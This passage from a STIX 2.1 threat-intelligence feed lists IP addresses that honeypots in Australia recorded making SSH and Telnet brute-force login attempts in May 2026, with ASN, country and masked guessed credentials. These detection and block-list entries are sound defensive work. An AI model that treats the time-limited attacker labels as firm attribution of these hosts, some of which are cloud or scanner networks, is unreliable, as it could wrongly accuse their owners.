      "valid_until": "2026-06-08T16:15:09.000Z"
    },
    {
      "created": "2026-05-07T16:16:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: US. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--c2cc8ff6-773b-44f1-bd68-ac25d52cd10c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:16:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:16:18.000Z",
      "valid_until": "2026-06-08T16:15:09.000Z"
    },
    {
      "created": "2026-05-07T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--671e450b-b1e1-4490-a8c2-7e2c30646237",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.26.86.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:15:10.000Z",
      "valid_until": "2026-06-08T17:15:08.000Z"
    },
    {
      "created": "2026-05-07T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 61263. Organisation(s): Modern store group LLC.",
      "id": "indicator--b756615b-3ed3-4b74-ad88-194e1b6f9a62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.207.241.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:15:10.000Z",
      "valid_until": "2026-06-08T17:15:08.000Z"
    },
    {
      "created": "2026-05-07T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 299. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, a****n, a***n, ***. Passwords observed (masked): a***n, p******d, 1**1, 1**4, 1***5.",
      "id": "indicator--7396a16f-93ad-4fb4-8d0c-e2babdebd9ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.99.168.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:15:10.000Z",
      "valid_until": "2026-06-08T17:15:08.000Z"
    },
    {
      "created": "2026-05-07T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--59246b16-0f87-4447-803f-bb4a51d83256",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.183.54.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:15:10.000Z",
      "valid_until": "2026-06-08T17:15:08.000Z"
    },
    {
      "created": "2026-05-07T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 21277. Organisation(s): Allay Nawroz Telecom Company for Communication/Ltd..",
      "id": "indicator--bcb24a26-1e5d-47cc-b271-d555a72b5e3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '130.193.253.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:15:10.000Z",
      "valid_until": "2026-06-08T17:15:08.000Z"
    },
    {
      "created": "2026-05-07T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, a***n, j*****s, 3**********4, f*****r. Passwords observed (masked): !*********3, ***, 1*****!, 1******!, 1*******3.",
      "id": "indicator--0dd35b83-2a37-4abc-aa62-5b9650e8a55a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.130.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:15:10.000Z",
      "valid_until": "2026-06-08T17:15:08.000Z"
    },
    {
      "created": "2026-05-07T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--de7567a7-1d5d-4e67-8e71-38d90b0d291b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.22.95.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:15:10.000Z",
      "valid_until": "2026-06-08T17:15:08.000Z"
    },
    {
      "created": "2026-05-07T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--ed4be67b-5aa4-4190-a299-347b419740a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:15:10.000Z",
      "valid_until": "2026-06-08T17:15:08.000Z"
    },
    {
      "created": "2026-05-07T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2cf18e48-6d41-4efb-a7f3-248e05318447",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.221.142.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:15:10.000Z",
      "valid_until": "2026-06-08T17:15:08.000Z"
    },
    {
      "created": "2026-05-07T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 258. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, 1**4, 1****6. Passwords observed (masked): a***n, 1**4, 0**************D, *, 1***5.",
      "id": "indicator--e03c3c3a-4365-4df1-8ee6-6910f05e6ed3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.46.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:15:10.000Z",
      "valid_until": "2026-06-08T17:15:08.000Z"
    },
    {
      "created": "2026-05-07T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--178452a6-8c80-48fe-8e97-395da6682dea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '44.220.185.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:15:10.000Z",
      "valid_until": "2026-06-08T17:15:08.000Z"
    },
    {
      "created": "2026-05-07T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 321. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, a***n, ***, m*******t. Passwords observed (masked): 3***********4, 3**********4, !**********c, 1***********c, 1*******r.",
      "id": "indicator--64e949fe-8ed3-4d45-9149-354c5fa33cd0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.75.64.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:15:10.000Z",
      "valid_until": "2026-06-08T17:15:08.000Z"
    },
    {
      "created": "2026-05-07T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: MK. ASN(s): 6821. Organisation(s): Makedonski Telekom AD-Skopje.",
      "id": "indicator--44a8b756-b423-4cbf-b48f-4f1f670d2a3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.125.228.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:15:10.000Z",
      "valid_until": "2026-06-08T17:15:08.000Z"
    },
    {
      "created": "2026-05-07T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133661. Organisation(s): Netplus Broadband Services Private Limited.",
      "id": "indicator--89399627-0f05-4760-8453-b26a389e4328",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.165.72.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:15:10.000Z",
      "valid_until": "2026-06-08T18:15:08.000Z"
    },
    {
      "created": "2026-05-07T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): s******n.",
      "id": "indicator--156da012-e2b1-4d3a-b28f-ac23ab65ed61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.150.110.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:15:10.000Z",
      "valid_until": "2026-06-08T18:15:08.000Z"
    },
    {
      "created": "2026-05-07T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 17727. Organisation(s): PT. NAP Info Lintas Nusa. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--75246d8c-faac-4bef-b1f0-ce05696bd7ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.35.80.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:15:10.000Z",
      "valid_until": "2026-06-08T18:15:08.000Z"
    },
    {
      "created": "2026-05-07T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 37153. Organisation(s): xneelo.",
      "id": "indicator--861798a2-a70a-4dbf-a13e-2bbee8eff1f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.232.165.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:15:10.000Z",
      "valid_until": "2026-06-08T18:15:08.000Z"
    },
    {
      "created": "2026-05-07T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--080e2580-46d8-42dd-927c-43da330670f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.188.112.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:15:10.000Z",
      "valid_until": "2026-06-08T18:15:08.000Z"
    },
    {
      "created": "2026-05-07T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): j*****s, r**t. Passwords observed (masked): *, j********3.",
      "id": "indicator--a3d12cd8-b3a8-4497-80d9-411afb38ad46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.47.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:15:10.000Z",
      "valid_until": "2026-06-08T18:15:08.000Z"
    },
    {
      "created": "2026-05-07T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--d11aa636-d936-4fd2-b9af-9ebe2256eb57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:15:10.000Z",
      "valid_until": "2026-06-08T18:15:08.000Z"
    },
    {
      "created": "2026-05-07T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272951. Organisation(s): INTERCOM SERVICIOS C.A.",
      "id": "indicator--d02de525-0c54-473b-af55-c0765ee899bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.195.94.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:15:10.000Z",
      "valid_until": "2026-06-08T18:15:08.000Z"
    },
    {
      "created": "2026-05-07T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d12d9ff9-3630-45a6-8043-e9034fc29218",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:15:10.000Z",
      "valid_until": "2026-06-08T18:15:08.000Z"
    },
    {
      "created": "2026-05-07T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--e8a9aeb3-b178-41b5-80b9-33976c5091a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:15:10.000Z",
      "valid_until": "2026-06-08T18:15:08.000Z"
    },
    {
      "created": "2026-05-07T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--2edb8226-bfe7-4e23-ab19-c237020ba2c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:15:10.000Z",
      "valid_until": "2026-06-08T18:15:08.000Z"
    },
    {
      "created": "2026-05-07T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--83cf0401-2069-4004-b084-764a3e58a429",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:15:10.000Z",
      "valid_until": "2026-06-08T18:15:08.000Z"
    },
    {
      "created": "2026-05-07T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--b9f444bd-9732-4b46-86a2-e412412ed20d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.183.78.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:15:10.000Z",
      "valid_until": "2026-06-08T18:15:08.000Z"
    },
    {
      "created": "2026-05-07T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 39891. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--5bc787c1-dc82-4ba5-99d4-1b8bdbcfc63b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.208.207.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T19:15:10.000Z",
      "valid_until": "2026-06-08T19:15:08.000Z"
    },
    {
      "created": "2026-05-07T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ccce452f-d21c-4d9e-8d92-b23b85192769",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.43.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T19:15:10.000Z",
      "valid_until": "2026-06-08T19:15:08.000Z"
    },
    {
      "created": "2026-05-07T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--b359dd90-fe71-498e-9ed4-bbd05871f333",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.43.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T19:15:10.000Z",
      "valid_until": "2026-06-08T19:15:08.000Z"
    },
    {
      "created": "2026-05-07T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--26fd1424-fbbd-4435-9e1f-1851d6f60128",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '166.62.41.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T19:15:10.000Z",
      "valid_until": "2026-06-08T19:15:08.000Z"
    },
    {
      "created": "2026-05-07T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--91bef624-1c3b-4f80-be53-d08e38a7fc25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.57.106.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T19:15:10.000Z",
      "valid_until": "2026-06-08T19:15:08.000Z"
    },
    {
      "created": "2026-05-07T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: BR. ASN(s): 53225. Organisation(s): IPGLOBE INTERNET LTDA.",
      "id": "indicator--f87cc8b9-8dfc-4b90-9e5d-5000e8c94b51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.137.23.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T19:15:10.000Z",
      "valid_until": "2026-06-08T19:15:08.000Z"
    },
    {
      "created": "2026-05-07T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL).",
      "id": "indicator--7ef88bbe-7def-412f-ac0c-e8d5df41095d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.161.144.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T19:15:10.000Z",
      "valid_until": "2026-06-08T19:15:08.000Z"
    },
    {
      "created": "2026-05-07T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 54290. Organisation(s): Hostwinds LLC..",
      "id": "indicator--206a453f-a51f-4ff8-820c-128493fd30a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.119.111.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T19:15:10.000Z",
      "valid_until": "2026-06-08T19:15:08.000Z"
    },
    {
      "created": "2026-05-07T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LV. ASN(s): 50979. Organisation(s): Green Floid LLC.",
      "id": "indicator--d63fcdb2-47cb-48e2-8558-2aa1be0c437f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.123.210.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
